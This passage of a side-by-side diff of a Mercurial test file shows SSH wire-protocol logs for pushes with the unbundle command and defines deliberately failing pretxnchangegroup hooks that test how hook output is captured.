59 | o> 413\n |
|
59 | o> 413\n | |
60 | o> readline() -> 413: |
|
60 | o> readline() -> 413: | |
61 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
61 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
62 | o> readline() -> 2: |
|
62 | o> readline() -> 2: | |
63 | o> 1\n |
|
63 | o> 1\n | |
64 | o> readline() -> 1: |
|
64 | o> readline() -> 1: | |
65 | o> \n |
|
65 | o> \n | |
66 | sending unbundle command |
|
66 | sending unbundle command | |
67 | i> write(9) -> 9: |
|
67 | i> write(9) -> 9: | |
68 | i> unbundle\n |
|
68 | i> unbundle\n | |
69 | i> write(9) -> 9: |
|
69 | i> write(9) -> 9: | |
70 | i> heads 10\n |
|
70 | i> heads 10\n | |
71 | i> write(10) -> 10: 666f726365 |
|
71 | i> write(10) -> 10: 666f726365 | |
72 | i> flush() -> None |
|
72 | i> flush() -> None | |
73 | o> readline() -> 2: |
|
73 | o> readline() -> 2: | |
74 | o> 0\n |
|
74 | o> 0\n | |
75 | i> write(4) -> 4: |
|
75 | i> write(4) -> 4: | |
76 | i> 426\n |
|
76 | i> 426\n | |
77 | i> write(426) -> 426: |
|
77 | i> write(426) -> 426: | |
78 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
78 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
79 | i> test\n |
|
79 | i> test\n | |
80 | i> 0 0\n |
|
80 | i> 0 0\n | |
81 | i> foo\n |
|
81 | i> foo\n | |
82 | i> \n |
|
82 | i> \n | |
83 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
83 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
84 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
84 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
85 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
85 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
86 | i> write(2) -> 2: |
|
86 | i> write(2) -> 2: | |
87 | i> 0\n |
|
87 | i> 0\n | |
88 | i> flush() -> None |
|
88 | i> flush() -> None | |
89 | o> readline() -> 2: |
|
89 | o> readline() -> 2: | |
90 | o> 0\n |
|
90 | o> 0\n | |
91 | o> readline() -> 2: |
|
91 | o> readline() -> 2: | |
92 | o> 1\n |
|
92 | o> 1\n | |
93 | o> read(1) -> 1: 0 |
|
93 | o> read(1) -> 1: 0 | |
94 | result: 0 |
|
94 | result: 0 | |
95 | remote output: |
|
95 | remote output: | |
96 | o> read(-1) -> 0: |
|
|||
97 | e> read(-1) -> 115: |
|
96 | e> read(-1) -> 115: | |
98 | e> abort: incompatible Mercurial client; bundle2 required\n |
|
97 | e> abort: incompatible Mercurial client; bundle2 required\n | |
99 | e> (see https://www.mercurial-scm.org/wiki/IncompatibleClient)\n |
|
98 | e> (see https://www.mercurial-scm.org/wiki/IncompatibleClient)\n | |
100 |
|
99 | |||
101 | testing ssh2 |
|
100 | testing ssh2 | |
102 | creating ssh peer from handshake results |
|
101 | creating ssh peer from handshake results | |
103 | i> write(171) -> 171: |
|
102 | i> write(171) -> 171: | |
104 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
103 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
105 | i> hello\n |
|
104 | i> hello\n | |
106 | i> between\n |
|
105 | i> between\n | |
107 | i> pairs 81\n |
|
106 | i> pairs 81\n | |
108 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
107 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
109 | i> flush() -> None |
|
108 | i> flush() -> None | |
110 | o> readline() -> 62: |
|
109 | o> readline() -> 62: | |
111 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
110 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
112 | o> readline() -> 4: |
|
111 | o> readline() -> 4: | |
113 | o> 412\n |
|
112 | o> 412\n | |
114 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
113 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
115 | o> read(1) -> 1: |
|
114 | o> read(1) -> 1: | |
116 | o> \n |
|
115 | o> \n | |
117 | sending unbundle command |
|
116 | sending unbundle command | |
118 | i> write(9) -> 9: |
|
117 | i> write(9) -> 9: | |
119 | i> unbundle\n |
|
118 | i> unbundle\n | |
120 | i> write(9) -> 9: |
|
119 | i> write(9) -> 9: | |
121 | i> heads 10\n |
|
120 | i> heads 10\n | |
122 | i> write(10) -> 10: 666f726365 |
|
121 | i> write(10) -> 10: 666f726365 | |
123 | i> flush() -> None |
|
122 | i> flush() -> None | |
124 | o> readline() -> 2: |
|
123 | o> readline() -> 2: | |
125 | o> 0\n |
|
124 | o> 0\n | |
126 | i> write(4) -> 4: |
|
125 | i> write(4) -> 4: | |
127 | i> 426\n |
|
126 | i> 426\n | |
128 | i> write(426) -> 426: |
|
127 | i> write(426) -> 426: | |
129 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
128 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
130 | i> test\n |
|
129 | i> test\n | |
131 | i> 0 0\n |
|
130 | i> 0 0\n | |
132 | i> foo\n |
|
131 | i> foo\n | |
133 | i> \n |
|
132 | i> \n | |
134 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
133 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
135 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
134 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
136 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
135 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
137 | i> write(2) -> 2: |
|
136 | i> write(2) -> 2: | |
138 | i> 0\n |
|
137 | i> 0\n | |
139 | i> flush() -> None |
|
138 | i> flush() -> None | |
140 | o> readline() -> 2: |
|
139 | o> readline() -> 2: | |
141 | o> 0\n |
|
140 | o> 0\n | |
142 | o> readline() -> 2: |
|
141 | o> readline() -> 2: | |
143 | o> 1\n |
|
142 | o> 1\n | |
144 | o> read(1) -> 1: 0 |
|
143 | o> read(1) -> 1: 0 | |
145 | result: 0 |
|
144 | result: 0 | |
146 | remote output: |
|
145 | remote output: | |
147 | o> read(-1) -> 0: |
|
|||
148 | e> read(-1) -> 115: |
|
146 | e> read(-1) -> 115: | |
149 | e> abort: incompatible Mercurial client; bundle2 required\n |
|
147 | e> abort: incompatible Mercurial client; bundle2 required\n | |
150 | e> (see https://www.mercurial-scm.org/wiki/IncompatibleClient)\n |
|
148 | e> (see https://www.mercurial-scm.org/wiki/IncompatibleClient)\n | |
151 |
|
149 | |||
152 | $ cd .. |
|
150 | $ cd .. | |
153 |
|
151 | |||
154 | Create a pretxnchangegroup hook that fails. Give it multiple modes of printing |
|
152 | Create a pretxnchangegroup hook that fails. Give it multiple modes of printing | |
155 | output so we can test I/O capture and behavior. |
|
153 | output so we can test I/O capture and behavior. | |
156 |
|
154 | |||
157 | Test pushing to a server that has a pretxnchangegroup Python hook that fails |
|
155 | Test pushing to a server that has a pretxnchangegroup Python hook that fails | |
158 |
|
156 | |||
159 | $ cat > $TESTTMP/failhook << EOF |
|
157 | $ cat > $TESTTMP/failhook << EOF | |
160 | > from __future__ import print_function |
|
158 | > from __future__ import print_function | |
161 | > import sys |
|
159 | > import sys | |
162 | > def hook1line(ui, repo, **kwargs): |
|
160 | > def hook1line(ui, repo, **kwargs): | |
163 | > ui.write(b'ui.write 1 line\n') |
|
161 | > ui.write(b'ui.write 1 line\n') | |
164 | > ui.flush() |
|
162 | > ui.flush() | |
165 | > return 1 |
|
163 | > return 1 | |
166 | > def hook2lines(ui, repo, **kwargs): |
|
164 | > def hook2lines(ui, repo, **kwargs): | |
167 | > ui.write(b'ui.write 2 lines 1\n') |
|
165 | > ui.write(b'ui.write 2 lines 1\n') | |
168 | > ui.write(b'ui.write 2 lines 2\n') |
|
166 | > ui.write(b'ui.write 2 lines 2\n') | |
169 | > ui.flush() |
|
167 | > ui.flush() | |
170 | > return 1 |
|
168 | > return 1 | |
171 | > def hook1lineflush(ui, repo, **kwargs): |
|
169 | > def hook1lineflush(ui, repo, **kwargs): | |
172 | > ui.write(b'ui.write 1 line flush\n') |
|
170 | > ui.write(b'ui.write 1 line flush\n') | |
173 | > ui.flush() |
|
171 | > ui.flush() | |
174 | > return 1 |
|
172 | > return 1 | |
175 | > def hookmultiflush(ui, repo, **kwargs): |
|
173 | > def hookmultiflush(ui, repo, **kwargs): | |
176 | > ui.write(b'ui.write 1st\n') |
|
174 | > ui.write(b'ui.write 1st\n') | |
177 | > ui.flush() |
|
175 | > ui.flush() | |
178 | > ui.write(b'ui.write 2nd\n') |
|
176 | > ui.write(b'ui.write 2nd\n') | |
179 | > ui.flush() |
|
177 | > ui.flush() | |
180 | > return 1 |
|
178 | > return 1 | |
181 | > def hookwriteandwriteerr(ui, repo, **kwargs): |
|
179 | > def hookwriteandwriteerr(ui, repo, **kwargs): | |
182 | > ui.write(b'ui.write 1\n') |
|
180 | > ui.write(b'ui.write 1\n') | |
183 | > ui.write_err(b'ui.write_err 1\n') |
|
181 | > ui.write_err(b'ui.write_err 1\n') | |
184 | > ui.write(b'ui.write 2\n') |
|
182 | > ui.write(b'ui.write 2\n') | |
185 | > ui.write_err(b'ui.write_err 2\n') |
|
183 | > ui.write_err(b'ui.write_err 2\n') | |
186 | > ui.flush() |
|
184 | > ui.flush() | |
187 | > return 1 |
|
185 | > return 1 | |
188 | > def hookprintstdout(ui, repo, **kwargs): |
|
186 | > def hookprintstdout(ui, repo, **kwargs): | |
189 | > print('printed line') |
|
187 | > print('printed line') | |
190 | > sys.stdout.flush() |
|
188 | > sys.stdout.flush() | |
191 | > return 1 |
|
189 | > return 1 | |
192 | > def hookprintandwrite(ui, repo, **kwargs): |
|
190 | > def hookprintandwrite(ui, repo, **kwargs): | |
193 | > print('print 1') |
|
191 | > print('print 1') | |
194 | > sys.stdout.flush() |
|
192 | > sys.stdout.flush() | |
195 | > ui.write(b'ui.write 1\n') |
|
193 | > ui.write(b'ui.write 1\n') | |
196 | > ui.flush() |
|
194 | > ui.flush() | |
197 | > print('print 2') |
|
195 | > print('print 2') | |
198 | > sys.stdout.flush() |
|
196 | > sys.stdout.flush() | |
199 | > ui.write(b'ui.write 2\n') |
|
197 | > ui.write(b'ui.write 2\n') | |
200 | > ui.flush() |
|
198 | > ui.flush() | |
201 | > return 1 |
|
199 | > return 1 | |
202 | > def hookprintstderrandstdout(ui, repo, **kwargs): |
|
200 | > def hookprintstderrandstdout(ui, repo, **kwargs): | |
203 | > print('stdout 1') |
|
201 | > print('stdout 1') | |
204 | > sys.stdout.flush() |
|
202 | > sys.stdout.flush() | |
205 | > print('stderr 1', file=sys.stderr) |
|
203 | > print('stderr 1', file=sys.stderr) | |
206 | > sys.stderr.flush() |
|
204 | > sys.stderr.flush() | |
207 | > print('stdout 2') |
|
205 | > print('stdout 2') | |
208 | > sys.stdout.flush() |
|
206 | > sys.stdout.flush() | |
209 | > print('stderr 2', file=sys.stderr) |
|
207 | > print('stderr 2', file=sys.stderr) | |
210 | > sys.stderr.flush() |
|
208 | > sys.stderr.flush() | |
211 | > return 1 |
|
209 | > return 1 | |
212 | > EOF |
|
210 | > EOF | |
213 |
|
211 | |||
214 | $ hg init failrepo |
|
212 | $ hg init failrepo | |
215 | $ cd failrepo |
|
213 | $ cd failrepo | |
216 |
|
214 | |||
217 | ui.write() in hook is redirected to stderr |
|
215 | ui.write() in hook is redirected to stderr | |
218 |
|
216 | |||
219 | $ cat > .hg/hgrc << EOF |
|
217 | $ cat > .hg/hgrc << EOF | |
220 | > [hooks] |
|
218 | > [hooks] | |
221 | > pretxnchangegroup.fail = python:$TESTTMP/failhook:hook1line |
|
219 | > pretxnchangegroup.fail = python:$TESTTMP/failhook:hook1line | |
222 | > EOF |
|
220 | > EOF | |
223 |
|
221 | |||
224 | $ debugwireproto << EOF |
|
222 | $ debugwireproto << EOF | |
225 | > command unbundle |
|
223 | > command unbundle | |
226 | > # This is "force" in hex. |
|
224 | > # This is "force" in hex. | |
227 | > heads 666f726365 |
|
225 | > heads 666f726365 | |
228 | > PUSHFILE ../initial.v1.hg |
|
226 | > PUSHFILE ../initial.v1.hg | |
229 | > readavailable |
|
227 | > readavailable | |
230 | > EOF |
|
228 | > EOF | |
231 | testing ssh1 |
|
229 | testing ssh1 | |
232 | creating ssh peer from handshake results |
|
230 | creating ssh peer from handshake results | |
233 | i> write(104) -> 104: |
|
231 | i> write(104) -> 104: | |
234 | i> hello\n |
|
232 | i> hello\n | |
235 | i> between\n |
|
233 | i> between\n | |
236 | i> pairs 81\n |
|
234 | i> pairs 81\n | |
237 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
235 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
238 | i> flush() -> None |
|
236 | i> flush() -> None | |
239 | o> readline() -> 4: |
|
237 | o> readline() -> 4: | |
240 | o> 413\n |
|
238 | o> 413\n | |
241 | o> readline() -> 413: |
|
239 | o> readline() -> 413: | |
242 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
240 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
243 | o> readline() -> 2: |
|
241 | o> readline() -> 2: | |
244 | o> 1\n |
|
242 | o> 1\n | |
245 | o> readline() -> 1: |
|
243 | o> readline() -> 1: | |
246 | o> \n |
|
244 | o> \n | |
247 | sending unbundle command |
|
245 | sending unbundle command | |
248 | i> write(9) -> 9: |
|
246 | i> write(9) -> 9: | |
249 | i> unbundle\n |
|
247 | i> unbundle\n | |
250 | i> write(9) -> 9: |
|
248 | i> write(9) -> 9: | |
251 | i> heads 10\n |
|
249 | i> heads 10\n | |
252 | i> write(10) -> 10: 666f726365 |
|
250 | i> write(10) -> 10: 666f726365 | |
253 | i> flush() -> None |
|
251 | i> flush() -> None | |
254 | o> readline() -> 2: |
|
252 | o> readline() -> 2: | |
255 | o> 0\n |
|
253 | o> 0\n | |
256 | i> write(4) -> 4: |
|
254 | i> write(4) -> 4: | |
257 | i> 426\n |
|
255 | i> 426\n | |
258 | i> write(426) -> 426: |
|
256 | i> write(426) -> 426: | |
259 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
257 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
260 | i> test\n |
|
258 | i> test\n | |
261 | i> 0 0\n |
|
259 | i> 0 0\n | |
262 | i> foo\n |
|
260 | i> foo\n | |
263 | i> \n |
|
261 | i> \n | |
264 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
262 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
265 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
263 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
266 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
264 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
267 | i> write(2) -> 2: |
|
265 | i> write(2) -> 2: | |
268 | i> 0\n |
|
266 | i> 0\n | |
269 | i> flush() -> None |
|
267 | i> flush() -> None | |
270 | o> readline() -> 2: |
|
268 | o> readline() -> 2: | |
271 | o> 0\n |
|
269 | o> 0\n | |
272 | o> readline() -> 2: |
|
270 | o> readline() -> 2: | |
273 | o> 1\n |
|
271 | o> 1\n | |
274 | o> read(1) -> 1: 0 |
|
272 | o> read(1) -> 1: 0 | |
275 | result: 0 |
|
273 | result: 0 | |
276 | remote output: |
|
274 | remote output: | |
277 | o> read(-1) -> 0: |
|
|||
278 | e> read(-1) -> 196: |
|
275 | e> read(-1) -> 196: | |
279 | e> adding changesets\n |
|
276 | e> adding changesets\n | |
280 | e> adding manifests\n |
|
277 | e> adding manifests\n | |
281 | e> adding file changes\n |
|
278 | e> adding file changes\n | |
282 | e> added 1 changesets with 1 changes to 1 files\n |
|
279 | e> added 1 changesets with 1 changes to 1 files\n | |
283 | e> ui.write 1 line\n |
|
280 | e> ui.write 1 line\n | |
284 | e> transaction abort!\n |
|
281 | e> transaction abort!\n | |
285 | e> rollback completed\n |
|
282 | e> rollback completed\n | |
286 | e> abort: pretxnchangegroup.fail hook failed\n |
|
283 | e> abort: pretxnchangegroup.fail hook failed\n | |
287 |
|
284 | |||
288 | testing ssh2 |
|
285 | testing ssh2 | |
289 | creating ssh peer from handshake results |
|
286 | creating ssh peer from handshake results | |
290 | i> write(171) -> 171: |
|
287 | i> write(171) -> 171: | |
291 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
288 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
292 | i> hello\n |
|
289 | i> hello\n | |
293 | i> between\n |
|
290 | i> between\n | |
294 | i> pairs 81\n |
|
291 | i> pairs 81\n | |
295 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
292 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
296 | i> flush() -> None |
|
293 | i> flush() -> None | |
297 | o> readline() -> 62: |
|
294 | o> readline() -> 62: | |
298 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
295 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
299 | o> readline() -> 4: |
|
296 | o> readline() -> 4: | |
300 | o> 412\n |
|
297 | o> 412\n | |
301 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
298 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
302 | o> read(1) -> 1: |
|
299 | o> read(1) -> 1: | |
303 | o> \n |
|
300 | o> \n | |
304 | sending unbundle command |
|
301 | sending unbundle command | |
305 | i> write(9) -> 9: |
|
302 | i> write(9) -> 9: | |
306 | i> unbundle\n |
|
303 | i> unbundle\n | |
307 | i> write(9) -> 9: |
|
304 | i> write(9) -> 9: | |
308 | i> heads 10\n |
|
305 | i> heads 10\n | |
309 | i> write(10) -> 10: 666f726365 |
|
306 | i> write(10) -> 10: 666f726365 | |
310 | i> flush() -> None |
|
307 | i> flush() -> None | |
311 | o> readline() -> 2: |
|
308 | o> readline() -> 2: | |
312 | o> 0\n |
|
309 | o> 0\n | |
313 | i> write(4) -> 4: |
|
310 | i> write(4) -> 4: | |
314 | i> 426\n |
|
311 | i> 426\n | |
315 | i> write(426) -> 426: |
|
312 | i> write(426) -> 426: | |
